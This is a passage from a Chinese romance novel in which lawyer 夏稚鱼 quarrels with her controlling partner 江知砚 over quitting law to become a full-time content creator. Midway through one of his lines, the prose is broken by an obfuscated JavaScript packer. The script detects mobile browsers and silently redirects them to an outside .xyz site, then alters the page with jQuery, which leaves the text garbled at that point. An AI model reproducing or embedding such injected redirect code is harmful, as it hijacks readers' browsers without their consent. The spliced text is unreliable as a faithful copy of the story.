关节粗大,手背和甲缝被面团和油盐日复一日腐蚀到皲裂发红,洗手液洗不干净,只能用洗洁精,皮肤越洗越干,破口越裂越大,像干枯树皮一样,涂护手霜都疼,只能抹蛇油膏。 夏稚鱼垂下眼,酒店杯子上的是显眼的svip式样。 以前总以为爱能排除万难。 可随着时间一点点流逝,夏稚鱼发现,只要她一低头,就能看清自己和江知砚之间的深不见底的沟壑。 这沟壑越看越深,越看越不可跨越。 可手里握着的蜂蜜水是热的。 温热的触感给她一种脚踏实地的错觉。 再抬眼,江知砚松松握着方向盘,神色淡漠的看着路况,昏黄路灯映在他脸上,骨骼感清晰的侧脸落下道模糊不清的明暗分界线。 方向盘中间雷克萨斯标志抢眼,手腕上百达翡丽金色表盘熠熠生辉。 有钱人的帅都很有边界感。 尤其是对上江知砚这种既有钱又有能力的人,这种自惭形秽的感觉会越发明显。 夏稚鱼短暂的怔住片刻,握着蜂蜜水的指尖用力到发白。 许是察觉到了她的视线,江知砚偏头,跟哄小孩似得哄着她道: “快喝,等会凉了就不好喝了。” 蜂蜜解酒,每次有她避不开的应酬时,江知砚都会帮她提前要一杯热的蜂蜜水,就连包里的解酒药也是江知砚准备的。 他在生活上的确把她照顾的无微不至,但这种无微不至是夏稚鱼想要的吗? 在一起生活的越久,夏稚鱼越觉得疲惫。 江知砚对她就像是放风筝,方向和终点要由他把控,风筝只要高高的飞就好。 像是丝毫没意识到风筝飞得越高,越有可能断在某棵大树上。 - 她原封不动的把蜂蜜水放回了中控台,看也不看江知砚,用这种顽固的抵抗以示不满。 过了一会,她突兀的声音在车厢里响起,嗓音紧张到微微发干。 “江知砚,我不想当律师了,我要离职全职做自媒体。” 风吹过她被拢住的发尾,像灵动的黑色鱼尾一样甩了起来。 江知砚搭在方向盘上的手蓦然收紧,如果他没记错的话,边霖那小子就是自媒体博主,养狗的。 这不是夏稚鱼第一次提离职,但这是她第一次提全职做自媒体这件事。 这很难不让江知砚联想到边霖是不是教唆了她什么。 “自媒体?你知道这个行业现在有多少人在里面挤破头吗?” 夏稚鱼一言不发的缩在凳子上,安静的像个缩头乌龟。 江知砚扫了眼靠在椅背上,一眼不看他的夏稚鱼,齿根发痒,恨不得一口咬在夏稚鱼脖子上问问她到底想要干什么。 这种默不作声的抗拒,活像他办公桌上拒食后饿死的笨鱼。 为什么不能学着适应鱼缸里的环境呢? 每次看到夏稚鱼这幅说风就是雨的样子他就来气。 作出决定前莽撞极了,从来不考虑现实问题,双眼一睁就开始发梦。 每天在工位上盼望着当事人临时有事不能来开庭前会议的是她,磨磨蹭蹭不想出外勤的也是她,年底了再一看工作总结,垫底的保准有夏稚鱼。 在现在这种社会里,总不能指望着环境能来主动适应你。 在最卷的行业里想要躺平,这跟等着被海浪啪死在沙滩上的咸鱼有什么区别。 现在还为了个小鸡仔边霖找工作上的理由跟他吵架。 还直接想全职做自媒体了。 夏稚鱼脑子是被门夹了么,怎么这么拎不清。 几件事情叠在一起,恨铁不成钢的火气蹭蹭蹭的在江知砚胸膛燃起。 江知砚眉目变得冷肃,没再出声。 他是长孙,自小又表现出过人的才能,无论在家里还是外面,向来都是别人捧着他,江知砚高高在上惯了,从来没有说是为了谁忍让过。 直到他有了夏稚鱼。 做什么都冒冒失失的,看什么都感兴趣,穿个大点的外套能把袖子甩成风火轮,二十多岁的人了,眼神还跟小孩一样冒着傻气,被人卖了也只会乐呵呵的帮人家数钱。 这样子的夏稚鱼,他怎么能放心。 向来高傲的少爷开始主动给夏稚鱼铺路,以前瞧不上的应酬和人际往来现在一个不落,江知砚甚至为了夏稚鱼跟自己一向避而远之的亲妈低头,就为了夏稚鱼能进华万。 现在好了,夏稚鱼不领情也就算了,这次更是为了个边霖把他的脸摁在地上踩。 江知砚眉梢挂上寒意,车子缓缓倒进车库,夏稚鱼拿包的时候江知砚率先下了车,关上车门前冷冷的甩了句, “夏稚鱼, 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扶肩膀这件事明明只要夏稚鱼给他解释两句也就过去了,他清楚夏稚鱼不是那种会出轨的人。 他承认,自己刚才是一时被醋意蒙了心,可夏稚鱼也不能一而再再而三的把吵架的根源都归在他身上。 难不成他在工作上对她严厉点还有错了? 这年头多少人找不到工作呢,他要是再不对她严格点,夏稚鱼什么时候能有独立做案子的能力。 亏他还想给她熬个解酒汤。 江知砚怒火中烧,没好气的怼了回去。 “是是是,夏稚鱼你没完没了了是吧,刚才算是我说错话了行不行,我给您道歉,我不该指导你培训你,也不该给你案源带你进华万,尤其是今天我更不该在停车场等你两个小时,目睹你跟别的男人搂搂抱抱之后还质问你。” “都是我的错,这下你满意了吗?” 江知砚一张嘴这股阴阳怪气的劲活像是微博杠精转世。 空气里弥漫着她最最喜欢的室内香薰,夏小江轻盈的从角落里蹦出来,竖着尾巴贴着她的腿打转,江知砚穿着和她同款的家居服。 可气氛剑拔弩张,房子像是被劈成了两半,她站在摇摇欲坠的地板上,脚底都在打颤。 怎么眨眼的功夫,她努力维持的家忽然碎掉了。 夏稚鱼发愣。 足足过了好一会她才反应过来似的,眼眶迅速浮现红意, “你真以为我在跟你胡搅蛮缠?” 江知砚瞧着她,眼神里清清楚楚几个大字—— ‘难道不是吗?’ 夏稚鱼赤脚站在地上,目光落在江知砚掩不住轻慢之色的脸上。 他俩一个站在客厅,一个站在玄关换鞋的地方,隔了有一段距离,针锋相对。 夏小江在家里一向高高翘起的尾巴此时紧贴在地面,瞳孔迅速扩大,绿幽幽的瞳孔冷眼瞪着江知砚。 忘恩负义。 江知砚咬着后槽牙,当初要不是他花了高价把夏小江从繁育人手里买了过来,它现在就要当个种公,九九六制干活,哪能像现在一样绝育后懒散度日。 像是火山爆发前最后的宁静,空气里蔓延着焦灼的气息。 夏稚鱼咬紧牙关,抵御着几乎要夺眶而出的眼泪。 时间一分一秒的过去,客厅里的他俩旅游时在罗马买的创意钟表在整点准时弹出,彩色木雕小鸟播放录音,是二十四岁的江知砚满是温柔爱意的催促声, “鱼鱼,该睡——” 声音戛然而止,小鸟僵在原地。 夏稚鱼眼泪唰的一下淌了出来。 她就知道,眼前人已经不是爱她的江知砚。 她的知砚才不会这样子跟她讲话。 13. 第 13 章 第13章 江知砚一向心高气傲,刚在一起时总是夏稚鱼顺着他,在一起久了以后,两人的角色倒是颠倒了过来。 尤其是夏稚鱼哭的时候。 江知砚见不得夏稚鱼掉一滴眼泪。 木雕小鸟孤零零的躺在桌子上,工具箱敞开,各种不常用的工具散落一地。 房间里中央空调运转着,二十六度恒温恒湿的情况下江知砚满头大汗,领口被汗洇湿。 他屏息静气的把刚拆下来的螺丝和塑料元件按位置和种类分开放成几小堆,生怕一个不慎把这些米粒大小的螺丝钉吹跑了。 这个小鸟钟表是在手作店买的,纯手工制品,工艺复杂,各种大小的齿轮组合在一起,稍不慎就会装反。 夏稚鱼举着手电筒坐在江知砚身旁,吸着鼻子,眼里还包着一兜泪,要掉不掉的看着江知砚小心翼翼的拧着螺丝。 “往右边照。” 夏稚鱼听话的挪了个方向。 又反了,江知砚在心里头悄悄叹了口气,习以为常的换了个话术, “往你拿笔的那边照。” 夏稚鱼分不清左右也不是一天两天了,江知砚刚开始还不能理解怎么会有人方向感这么差,打开导航先要转上一圈分辨方向。 后来一次体检,他甚至问了医生夏稚鱼是不是小脑哪个部位没发育好,需不需要补充什么营养物质,气的夏稚鱼暴打他一顿。 很遗憾,夏稚鱼发育健康,方向感差纯粹是天生的。 左右分不清,地图也看不明白,就这还想当全职旅游博主?还动不动就往山沟沟里面跑,天知道他翻看夏稚鱼自媒体账号时有多后怕。 山区、暴雨、民宿、陌生村民,随便两个组合起来都能吓死江知砚,更别说这四个关键词齐刷刷出现在了夏稚鱼的主页置顶第一条。 江知砚都不知道自己是怎么把那个长达二十五分钟的旅游volg忍着心悸看完的。 “只是电池没电了而已”,江知砚舒了口气,“换个五号电池就好了。” 夏稚鱼眼神唰的一下亮了,语气急切,“家里有五号电池吗?我现在下去买?” “不行。” 大晚上的他那敢让夏稚鱼出去买,万一这条笨鱼被别人叼走了怎么办。 兵折了不要紧,夫人可不能丢。 但江知砚嘴里吐不出来一句好话。 他舌尖抵住上颚,意味不明的哼笑了一声, “你去买?你分得清五号电池和七号电池吗?” 夏稚鱼不服气,“我长眼睛会认字。” “我家鱼鱼这么厉害呢”,江知砚语气散漫,神色放松。 他掐上夏稚鱼哭到微红的脸颊,拇指陷进软肉,细腻弹滑,轻轻掐一下就留下个粉白指印,嫩的跟个薄皮水蜜桃似的。 亏他弄了那么多好东西养着夏稚鱼,好不容易长点肉,结果光长在脸上去了。 小没良心的。 骂完他一顿后还哄着他干活。 江知砚手指坏心眼的使了点劲。 “你轻点,给我掐疼了都。” 夏稚鱼往后仰起脖子,一巴掌拍在江知砚手上,眉心不高兴的拧在一起, “咱俩架还没吵完呢,中途休战而已,你别跟我动手动脚嗷。” 江知砚脸上笑意淡了下去,视线黑沉沉的压在夏稚鱼身上,看的夏稚鱼有些不自在。 憋在心头的那一口气忽而就涌了上来。 江知砚不是个好说话的人,强势、骄傲、冷静构成了他的性格底色,跟所有的天之骄子一样,他也缺乏哄女孩的耐性,更别提吵架后的道歉。 江知砚只会在床上太用力之后哑着嗓子跟她说对不起。 平常别说道歉了,江知砚只会把问题抛出后,自己事不关己高高挂起,让夏稚鱼自己消化。 她这次绝对不会让江知砚再轻轻松松的混过去。 江知砚要是还敢把吵架的原因都归咎于她…… 夏稚鱼拳头又硬了。 - 兔子要准备开启狂暴模式了。 江知砚眉心一挑,暧昧地挑了缕垂落在夏稚鱼身前的长发,缠在自己指尖来回打转, “鱼鱼,做人可不能这么没良心,我又是在车库等着接你,回来刚吵完架又给你修东西,你还忍心跟我吵?” “而且你明明知道我一定会接你,怎么连个几点结束的消息都不给我发,害得我问了好几次酒店经理你们结没结束。” 以前他和夏稚鱼如果同时有聚餐,离得不算远的情况下,夏稚鱼都会主动告诉江知砚几点结束,免得江知砚错过了接她的点。 发根被轻轻扯了两下,存在感强烈,江知砚不轻不重的拽着她的发丝,单手撑在餐桌上,身子前倾,高大的身躯压迫感十足。 江知砚怎么不按常理出牌! 夏稚鱼后背僵直,她忍不住往后挪了点,后腰抵上餐桌,凉意贴着发烫的肌肤,嘴硬着辩驳道: “我又没让你等,就算你不等我,我自己也能回来。” “谁要给你发消息,我怎么知道你是不是还要送刘妙琪,我才不自讨没趣。” 后半句声音低了下,语气酸酸的,像是泡了醋水。 平常软的跟个小绵羊似的,吃醋之后倒是有了这么大气性。 江知砚意蕴不明哼笑,热气搔着夏稚鱼耳根,尾音磁性低沉, “所以这就是你今天不给我发消息原因?合着晚上喝的不是酒,是山西陈醋?” 语气里的调笑之意清晰。 夏稚鱼不服气,“你还说我,我跟人家边霖正常说两句话,你就急赤白脸的冲过来,搞得我还以为我做错什么事了。” 江知砚可比她横多了,“那谁让你跟他说话了,下次不许说,那小子一看就没安好心。” 夏稚鱼:“明明是你眼脏心坏,看谁都不是好人!” “你这就有点太主观了小夏律师”,江知砚脸上笑容不变,指尖曲起刮了下夏稚鱼鼻尖,“我可是主客观结合得出他不是个好人这个结论。” 温热唇瓣落在她额头,像是在安抚受惊的小动物, “好了,不提这些不相干的人了。家里有备用电池,不用你下去买,所以鱼鱼能不生我的气了吗?” 尾音被刻意拖长,带着些黏黏糊糊的调调,掌心贴着她后腰,举止暧昧。 江知砚很擅长在她面前通过撒娇达到自己目的。 眼尾无辜的往下垂,可怜兮兮的看着她,好像这样就能把他自己刚说过的伤人话糊弄过去一样。 这也太狡猾了! 夏稚鱼伸手用力抵在江知砚胸口,指尖下的胸肌饱满软弹。 江知砚压着嗓子轻笑一声,声带的振动通过掌心带着夏稚鱼心脏都颤了颤,酥麻感一路直冲颅顶。 不带这么勾引人的! “江知砚!” 夏稚鱼又羞又恼,她最烦江知砚这试图靠美色和稀泥的样子,攒了那么多问题还没解决呢,就想带着她往床上滚,不沟通这日子还怎么过下去。 “我们就不能好好谈一次吗?” …… 夏小江轻盈跳到夏稚鱼膝上,找了个舒服的位置窝成一团,翠色竖瞳眯起,懒懒的打了个哈欠。 修好了的钟表放在茶几上,时间滴答滴答的淌过。 “联姻是误会,没人在我面前提过,我和刘妙琪只是同事关系,看在她爸的面子上照顾了一下她,但也从没越过界,至于律所那些说闲话的那些人,你不用理会,我去所里公开咱俩关系就好了。” “你要是还觉得没有安全感,我们办个订婚宴,你觉得怎么样?” 江知砚避开关键问题,都没给夏稚鱼开口的机会,试图三言两语就想把吵架这件事糊弄过去。 夏稚鱼目光从夏小江身上挪开,静静落在江知砚身上。 他俩坐的很近,她能清楚的感觉到江知砚偏高的体温,室内柔和的灯光映在江知砚眼里,一向骄傲冷漠的男人难得显出几分紧张。 夏稚鱼逃避似的垂下眼,坐的离江知砚远了些,轻声道: “知砚,我想要辞职。” 想要和要是两码事。 江知砚敏锐的意识到夏稚鱼的语气还有缓和的余地。 “你想清楚了?” “对。” “全职做自媒体博主?” “对。” 夏稚鱼把发凉的指尖塞到夏小江柔软的肚子里,心脏在胸口怦怦乱跳。 这是她第一次跟江知砚讨论全职做自媒体博主这件事。 刚开始做账号的时候她是想告诉江知砚的,但当时江知砚很忙,夏稚鱼就想着,等做出点成绩之后再告诉江知砚吧。 一万、两万、三万……她的粉丝越来越多,可每每鼓起勇气想跟江知砚说时,总会各种各样的理由阻拦她。 后来想想,其实夏稚鱼也清楚,她只是不愿意面对江知砚对她的价值评判而已。 她不想听到江知砚居高临下的点评。 可夏稚鱼又忍不住去想,如果她成绩更好一点,粉丝再多一点,浏览量再高一点,江知砚会不会因此对她另眼相看。 夏稚鱼迫切的想要得到江知砚的认可。 “但你现在刚独立执业一年,我正打算给你分一两个新案子,让你自己做,如果现在放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270499|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律师行业,你之前两年法硕和一年的实习期不就白费了吗?” “而且鱼鱼你还没发现吗?你其实很适合当律师,细心、谨慎、做事周全,你现在已经很有独立律师的样子了。” 江知砚语气很温和,完全没有夏稚鱼预想中的厉声否认和斥责。 她愣了一瞬,竟不知道如何接话。 如果江知砚还坚持着他之前的尖锐态度,夏稚鱼肯定会毫不犹豫的说出铺垫已久的分手二字。 但江知砚没有。 停顿了片刻,见夏稚鱼没有反驳的意思,江知砚语气略带上了些强势, “关于自媒体行业,我看到你账号后,专门找之前的MCM公司的客户了解了一些信息。” 夏稚鱼正在撸毛的手怔住,心砰的下撞上胸腔,有些不知所措,她没料到江知砚居然会专门去了解自媒体行业。 大学的时候江知砚明明很讨厌她做自媒体行业的。 还没等夏稚鱼问出声。 江知砚没停,继续冷静的跟夏稚鱼分析着行业利弊, “准入门槛低,靠长相吃饭的一数一大堆,这也就代表了大部分博主的可代替性都很强,想要给观众留下深刻印象也不是件容易事。而且自媒体的风头已经过去了,行业确实还有几分热度,但实际上已经在走下坡路了。” “你想要做自媒体,最紧要的事情是要找到个人特色。” 江知砚说的一字一正正踩在了夏稚鱼忧虑的点上,她几乎都要以为江知砚跟她是统一战线的好战友了。 “那么鱼鱼,你觉得你的视频现在有个人特色吗?” 区区一个“有”字卡在嗓子眼上上下下,说不出口,过了好一会,夏稚鱼肩膀肉眼可见的松弛下来,垮在身侧,丧气道: “没有。” 江知砚微微一笑,刻在骨子里的强势不动声色流露出来, “那我的建议就是你先继续当律师,自媒体可以作为兼职,等你有足够多的想法和精力的时候再去完善这些,反正时间还有很多,我也可以帮你一起找风格。” “怎么样,鱼鱼,我觉得你可以考虑下我的提议。” …… 趁着江知砚在洗澡,夏稚鱼把他俩刚才的沟通一股脑发给方新乐。 乐乐:【他这么跟你狡辩的?】 夏稚鱼有些心虚,下意识翻了个身,背对着水声哗哗的浴室。 小鱼大雨:【我觉得他说的好像也有道理,骑驴找马感觉也可以吧……】 虽然夏稚鱼觉得哪里怪怪的。 方新乐这次连字都不打了,发过来一串语音: “你傻啊,江知砚从头到尾说的都是你‘该不该’,他怎么不问你‘想不想’,就是因为他心虚呀,他自己心里门儿清你不愿意干律师,所以对这件事闭口不谈,只从自媒体工作的弊端出发瞎扯。” 急的方新乐说话都带上京片儿了。 又来一条语音。 夏稚鱼点开,方新乐大义凛然道: “而且现在哪来的稳定行业,我们公司今年裁了好几个,都是临时裁员,昨天还笑嘻嘻的上班,今天就被裁了,现在这世道哪里还能有个稳定行业。” “你更特殊,指不定江知砚哪天跟你闹掰了,你到时候怎么办,那不照样还是得离职,还是两手空空的离职。” “你不能把自己的身家性命都寄托在江知砚身上啊!” 江知砚擦着头发推开浴室门时只听到了最后一句。 他皱着眉头,“方新乐又说我什么坏话呢。” 夏稚鱼啪的一下摁熄关机键缩进被窝,只剩两个眼睛露在外面瞄江知砚,真假参半的抱怨, “乐乐说,我不能把收入全指望在律所工作上,毕竟这两年市场环境不好,挣钱的手段要多样化。” 言下之意是还想兼职做自媒体。 江知砚听出了这层意思,他手上动作一顿, “她说的也是,大环境确实一般。” “所以要不要跟我结个婚,这样你就可以合理合法分走一半我名下的所有资产了。” “这来钱岂不是又快又稳,稳赚不赔,不比你通红的股票和工资赚得多。” “怎么说,趁着这次案件结束刚好结个婚?连假都不用请,不耽误工作。” 分走? 这两个尖锐的字眼用力扼住夏稚鱼喉头,呼吸变得异常艰涩。 她僵硬仰头,心跳顿了一拍,迫人冷意迅速蔓延至全身。 他就是这么想她的? 江知砚正居高临下的看着她,眉目冷肃,字里行间清晰的淌出懒得隐藏的傲慢之意。 求婚像是在施舍。